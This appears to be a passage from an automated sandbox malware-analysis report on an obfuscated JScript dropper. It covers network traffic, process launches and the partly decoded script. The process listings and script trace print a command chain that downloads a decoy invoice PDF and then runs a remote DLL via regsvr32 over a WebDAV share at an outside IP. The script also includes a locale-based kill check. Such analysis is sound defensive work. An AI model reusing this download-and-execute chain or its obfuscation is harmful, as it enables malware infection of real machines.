Jan 11, 2025 02:01:20.018268108 CET	49771	8888	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:22.130373955 CET	49771	8888	192.168.2.9	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:01:27.580637932 CET	65145	53	192.168.2.9	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 02:01:27.580637932 CET	192.168.2.9	1.1.1.1	0x2ff5	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 02:01:07.492974997 CET	1.1.1.1	192.168.2.9	0x71c8	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 02:01:07.492974997 CET	1.1.1.1	192.168.2.9	0x71c8	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:01:27.588588953 CET	1.1.1.1	192.168.2.9	0x2ff5	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 02:01:28.459309101 CET	1.1.1.1	192.168.2.9	0x8461	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:01:28.459309101 CET	1.1.1.1	192.168.2.9	0x8461	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49757	193.143.1.205	80	2520	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:01:16.832649946 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 02:01:17.606514931 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:01:17 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 02:01:17.606534004 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 02:01:17.606548071 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 02:01:17.606575966 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 02:01:17.606663942 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 11, 2025 02:01:17.606677055 CET	1120	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 11, 2025 02:01:17.606690884 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 11, 2025 02:01:17.606894970 CET	1236	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 11, 2025 02:01:17.606909990 CET	1236	IN	Data Raw: 37 07 77 ce 63 e8 c9 ed 49 13 43 6f 24 86 1e a4 18 2a c3 a1 35 49 f4 7d 57 42 db 1d b9 6d 0c dd b7 31 f4 ec b4 f9 1d 2f e5 d8 d0 9b c7 79 0c e5 d8 d0 69 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 76 98 fb 6a 61 41 6e 79 21 6d ee bc cb d1 63 fe ca 3d 34 Data Ascii: 7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WD
Jan 11, 2025 02:01:17.606923103 CET	1236	IN	Data Raw: 00 4c 83 2f 96 00 60 d3 cc 1d b5 66 2c 34 ec 3b 52 42 c3 f3 fe 84 3f 4d 32 dc 69 69 86 f2 f4 b1 7a 52 2b 72 a3 5b b9 06 94 26 07 65 14 ce 94 d0 d4 40 53 fd fc e6 9b 6f fe 47 f9 a6 95 aa e8 ec 97 cd 7e 71 1a 11 fd e9 a7 9f 52 1e 4a 2d 26 d7 43 25 Data Ascii: L/`f,4;RB?M2iizR+r[&e@SoG~qRJ-&C%*%Ex9rdO_Fnm+8Rc\|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o
Jan 11, 2025 02:01:17.611485004 CET	100	IN	Data Raw: c7 86 7e e4 d8 d0 4d 9b fa e6 04 00 00 30 0d be 58 02 80 8d 32 b7 d3 d1 1d b9 7a 2c 74 74 15 ad 39 5c d2 1c f3 57 ce 16 b9 e1 50 dd 43 c3 18 5a 73 6d 7e 32 34 8c a1 ff 35 24 3d 74 f6 cb 64 38 34 ad 0f 9d fd a1 52 1e d2 7f 9c 54 21 53 21 d2 f4 51 Data Ascii: ~M0X2z,tt9\WPCZsm~245$=td84RT!S!Q]avNQ0}v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49771	193.143.1.205	8888	2552	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:01:19.125801086 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 02:01:19.977396965 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:01:19 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	1
Start time:	20:01:10
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2937924646314313784.js"
Imagebase:	0x7ff76fcd0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	20:01:11
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll
Imagebase:	0x7ff7a7bf0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	20:01:12
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	20:01:12
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	20:01:17
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6153b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	20:01:17
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7a7bf0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	20:01:18
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6380b0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	20:01:18
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	20:01:18
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	20:01:19
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1640,i,2171901814565979795,15215891352150739102,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function drbrgxtb() {	drbrgxtb() ➔ undefined
1	gzqjqok = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var asvlhdwd = this[jkpzbmr + fpacvixe + plllrn + dtjed + humxpnnb + uiefj + twjqwcjyr + cslfr] ( this[xxrwsdnaz + ejloe + zeafivqx + plllrn + bicvzx + jkpzbmr + cslfr][wwxrbwvrq + plllrn + humxpnnb + fpacvixe + cslfr + humxpnnb + wohci + eqfuoztk + oflfykmmp + humxpnnb + zeafivqx + cslfr] ( xxrwsdnaz + ejloe + zeafivqx + plllrn + bicvzx + jkpzbmr + cslfr + rtgwiac + ejloe + lrubspr + humxpnnb + apjykyqr + apjykyqr ) [axkrzvmqs + humxpnnb + urnsmpgs + axkrzvmqs + humxpnnb + fpacvixe + cyfuid] ( pilxkg + utibxpf + sggadobam + voycpdflc + rcaczf + wwxrbwvrq + otaemb + axkrzvmqs + axkrzvmqs + sggadobam + srfcagka + fiucipqc + rcaczf + otaemb + ejloe + sggadobam + axkrzvmqs + snzqx + wwxrbwvrq + cypizdefm + twjqwcjyr + cslfr + plllrn + cypizdefm + apjykyqr + sgywt + phfbo + fpacvixe + twjqwcjyr + humxpnnb + apjykyqr + snzqx + uiefj + twjqwcjyr + cslfr + humxpnnb + plllrn + twjqwcjyr + fpacvixe + cslfr + bicvzx + cypizdefm + twjqwcjyr + fpacvixe + apjykyqr + snzqx + voimgd + cypizdefm + zeafivqx + fpacvixe + apjykyqr + humxpnnb ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( sstuxnzv = 0 ; sstuxnzv < gzqjqok[apjykyqr + humxpnnb + twjqwcjyr + urnsmpgs + cslfr + lrubspr] ; ++ sstuxnzv )
4	{
5	if ( asvlhdwd == gzqjqok[sstuxnzv] )
6	{
7	asvlhdwd = true;
8	break ;
9	}
10	}
11	if ( asvlhdwd !== true )
12	this[xxrwsdnaz + ejloe + zeafivqx + plllrn + bicvzx + jkpzbmr + cslfr][mduqbyg + rlcjbpoy + bicvzx + cslfr] ( );
13	this[xxrwsdnaz + ejloe + zeafivqx + plllrn + bicvzx + jkpzbmr + cslfr][wwxrbwvrq + plllrn + humxpnnb + fpacvixe + cslfr + humxpnnb + wohci + eqfuoztk + oflfykmmp + humxpnnb + zeafivqx + cslfr] ( xxrwsdnaz + ejloe + zeafivqx + plllrn + bicvzx + jkpzbmr + cslfr + rtgwiac + ejloe + lrubspr + humxpnnb + apjykyqr + apjykyqr ) [plllrn + rlcjbpoy + twjqwcjyr] ( zeafivqx + ocnlng + cyfuid + sgywt + uhaclqtq + zeafivqx + sgywt + jkpzbmr + cypizdefm + czaqyzfa + humxpnnb + plllrn + dtjed + lrubspr + humxpnnb + apjykyqr + apjykyqr + rtgwiac + humxpnnb + ixerfch + humxpnnb + sgywt + rsryht + wwxrbwvrq + cypizdefm + ocnlng + ocnlng + fpacvixe + twjqwcjyr + cyfuid + sgywt + dptvo + uiefj + twjqwcjyr + gdzzo + cypizdefm + tviqrvgzc + humxpnnb + rsryht + xxrwsdnaz + humxpnnb + eqfuoztk + axkrzvmqs + humxpnnb + bnpypvty + rlcjbpoy + humxpnnb + dtjed + cslfr + sgywt + rsryht + wohci + rlcjbpoy + cslfr + yaviwjme + bicvzx + apjykyqr + humxpnnb + sgywt + nzssw + cslfr + humxpnnb + ocnlng + jkpzbmr + nzssw + snzqx + bicvzx + twjqwcjyr + gdzzo + cypizdefm + bicvzx + zeafivqx + humxpnnb + rtgwiac + jkpzbmr + cyfuid + ycegnju + sgywt + lrubspr + cslfr + cslfr + jkpzbmr + vvjyp + uhaclqtq + uhaclqtq + hstlgjyue + miwajjy + ktzzvoc + rtgwiac + hstlgjyue + qgzll + ktzzvoc + rtgwiac + hstlgjyue + rtgwiac + hvqdmxcyv + hivxiksz + xcbfntg + uhaclqtq + bicvzx + twjqwcjyr + gdzzo + cypizdefm + bicvzx + zeafivqx + humxpnnb + rtgwiac + jkpzbmr + lrubspr + jkpzbmr + dptvo + wsxnrqzd + wsxnrqzd + dtjed + cslfr + fpacvixe + plllrn + cslfr + sgywt + nzssw + cslfr + humxpnnb + ocnlng + jkpzbmr + nzssw + snzqx + bicvzx + twjqwcjyr + gdzzo + cypizdefm + bicvzx + zeafivqx + humxpnnb + rtgwiac + jkpzbmr + cyfuid + ycegnju + wsxnrqzd + wsxnrqzd + zeafivqx + ocnlng + cyfuid + sgywt + uhaclqtq + zeafivqx + sgywt + twjqwcjyr + humxpnnb + cslfr + sgywt + rlcjbpoy + dtjed + humxpnnb + sgywt + snzqx + snzqx + hstlgjyue + miwajjy + ktzzvoc + rtgwiac + hstlgjyue + qgzll + ktzzvoc + rtgwiac + hstlgjyue + rtgwiac + hvqdmxcyv + hivxiksz + xcbfntg + vmhhrf + njewdry + njewdry + njewdry + njewdry + snzqx + cyfuid + fpacvixe + gdzzo + czaqyzfa + czaqyzfa + czaqyzfa + plllrn + cypizdefm + cypizdefm + cslfr + snzqx + wsxnrqzd + wsxnrqzd + zeafivqx + ocnlng + cyfuid + sgywt + uhaclqtq + zeafivqx + sgywt + plllrn + humxpnnb + urnsmpgs + dtjed + gdzzo + plllrn + ktzzvoc + hvqdmxcyv + sgywt + uhaclqtq + dtjed + sgywt + snzqx + snzqx + hstlgjyue + miwajjy + ktzzvoc + rtgwiac + hstlgjyue + qgzll + ktzzvoc + rtgwiac + hstlgjyue + rtgwiac + hvqdmxcyv + hivxiksz + xcbfntg + vmhhrf + njewdry + njewdry + njewdry + njewdry + snzqx + cyfuid + fpacvixe + gdzzo + czaqyzfa + czaqyzfa + czaqyzfa + plllrn + cypizdefm + cypizdefm + cslfr + snzqx + miwajjy + hstlgjyue + hstlgjyue + miwajjy + ktzzvoc + hstlgjyue + ktzzvoc + ktzzvoc + vvxvu + hstlgjyue + qgzll + vvxvu + hstlgjyue + fbezno + rtgwiac + cyfuid + apjykyqr + apjykyqr, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll",0,false) ➔ 0
14	}
15	eqfuoztk = "J";
16	eqfuoztk = "b";
17	lrubspr = "z";
18	lrubspr = "p";
19	lrubspr = "p";
20	lrubspr = "o";
21	lrubspr = "Z";
22	lrubspr = "P";
23	lrubspr = "k";
24	lrubspr = "f";
25	lrubspr = "B";
26	lrubspr = "A";
27	lrubspr = "h";
28	lrubspr = "i";
29	lrubspr = "W";
30	lrubspr = "D";
31	lrubspr = "M";
32	lrubspr = "X";
33	lrubspr = "z";
34	lrubspr = "C";
35	lrubspr = "x";
36	lrubspr = "I";
37	lrubspr = "m";
38	lrubspr = "Y";
39	lrubspr = "a";
40	lrubspr = "w";
41	lrubspr = "g";
42	lrubspr = "m";
43	lrubspr = "i";
44	lrubspr = "A";
45	lrubspr = "P";
46	lrubspr = "u";
47	lrubspr = "v";
48	lrubspr = "R";
49	lrubspr = "B";
50	lrubspr = "K";
51	lrubspr = "Q";
52	lrubspr = "A";
53	lrubspr = "N";
54	lrubspr = "l";
55	lrubspr = "X";
56	lrubspr = "P";
57	lrubspr = "S";
58	lrubspr = "C";
59	lrubspr = "N";
60	lrubspr = "h";
61	utibxpf = "R";
62	utibxpf = "c";
63	utibxpf = "U";
64	utibxpf = "P";
65	utibxpf = "M";
66	utibxpf = "G";
67	utibxpf = "a";
68	utibxpf = "K";
69	uiefj = "l";
70	uiefj = "a";
71	uiefj = "L";
72	uiefj = "k";
73	uiefj = "M";
74	uiefj = "Z";
75	uiefj = "J";
76	uiefj = "v";
77	uiefj = "y";
78	uiefj = "O";
79	uiefj = "e";
80	uiefj = "z";
81	uiefj = "K";
82	uiefj = "H";
83	uiefj = "W";
84	uiefj = "v";
85	uiefj = "M";
86	uiefj = "A";
87	uiefj = "N";
88	uiefj = "q";
89	uiefj = "m";
90	uiefj = "i";
91	uiefj = "i";
92	uiefj = "Z";
93	uiefj = "n";
94	uiefj = "L";
95	uiefj = "c";
96	uiefj = "r";
97	uiefj = "d";
98	uiefj = "u";
99	uiefj = "I";
100	uiefj = "m";
101	uiefj = "x";
102	uiefj = "I";
103	cyfuid = "T";
104	cyfuid = "n";
105	cyfuid = "N";
106	cyfuid = "W";
107	cyfuid = "W";
108	cyfuid = "t";
109	cyfuid = "a";
110	cyfuid = "Y";
111	cyfuid = "F";
112	cyfuid = "G";
113	cyfuid = "q";
114	cyfuid = "d";
115	snzqx = "E";
116	snzqx = "o";
117	snzqx = "O";
118	snzqx = "L";
119	snzqx = "p";
120	snzqx = "h";
121	snzqx = "w";
122	snzqx = "\\";
123	axkrzvmqs = "v";
124	axkrzvmqs = "S";
125	axkrzvmqs = "n";
126	axkrzvmqs = "A";
127	axkrzvmqs = "Y";
128	axkrzvmqs = "T";
129	axkrzvmqs = "Y";
130	axkrzvmqs = "j";
131	axkrzvmqs = "y";
132	axkrzvmqs = "e";
133	axkrzvmqs = "H";
134	axkrzvmqs = "f";
135	axkrzvmqs = "w";
136	axkrzvmqs = "V";
137	axkrzvmqs = "h";
138	axkrzvmqs = "k";
139	axkrzvmqs = "d";
140	axkrzvmqs = "Y";
141	axkrzvmqs = "L";
142	axkrzvmqs = "I";
143	axkrzvmqs = "i";
144	axkrzvmqs = "u";
145	axkrzvmqs = "b";
146	axkrzvmqs = "s";
147	axkrzvmqs = "w";
148	axkrzvmqs = "V";
149	axkrzvmqs = "h";
150	axkrzvmqs = "K";
151	axkrzvmqs = "a";
152	axkrzvmqs = "y";
153	axkrzvmqs = "C";
154	axkrzvmqs = "e";
155	axkrzvmqs = "h";
156	axkrzvmqs = "m";
157	axkrzvmqs = "u";
158	axkrzvmqs = "l";
159	axkrzvmqs = "G";
160	axkrzvmqs = "y";
161	axkrzvmqs = "F";
162	axkrzvmqs = "R";
163	sgywt = "a";
164	sgywt = "z";
165	sgywt = "d";
166	sgywt = "l";
167	sgywt = "m";
168	sgywt = "W";
169	sgywt = "J";
170	sgywt = "A";
171	sgywt = "b";
172	sgywt = "X";
173	sgywt = "v";
174	sgywt = "H";
175	sgywt = "W";
176	sgywt = "d";
177	sgywt = "q";
178	sgywt = "F";
179	sgywt = " ";
180	uhaclqtq = "o";
181	uhaclqtq = "w";
182	uhaclqtq = "i";
183	uhaclqtq = "m";
184	uhaclqtq = "U";
185	uhaclqtq = "W";
186	uhaclqtq = "V";
187	uhaclqtq = "c";
188	uhaclqtq = "G";
189	uhaclqtq = "/";
190	twjqwcjyr = "u";
191	twjqwcjyr = "R";
192	twjqwcjyr = "W";
193	twjqwcjyr = "G";
194	twjqwcjyr = "Q";
195	twjqwcjyr = "J";
196	twjqwcjyr = "Q";
197	twjqwcjyr = "P";
198	twjqwcjyr = "P";
199	twjqwcjyr = "R";
200	twjqwcjyr = "A";
201	twjqwcjyr = "v";
202	twjqwcjyr = "Z";
203	twjqwcjyr = "r";
204	twjqwcjyr = "q";
205	twjqwcjyr = "C";
206	twjqwcjyr = "m";
207	twjqwcjyr = "J";
208	twjqwcjyr = "g";
209	twjqwcjyr = "C";
210	twjqwcjyr = "u";
211	twjqwcjyr = "x";
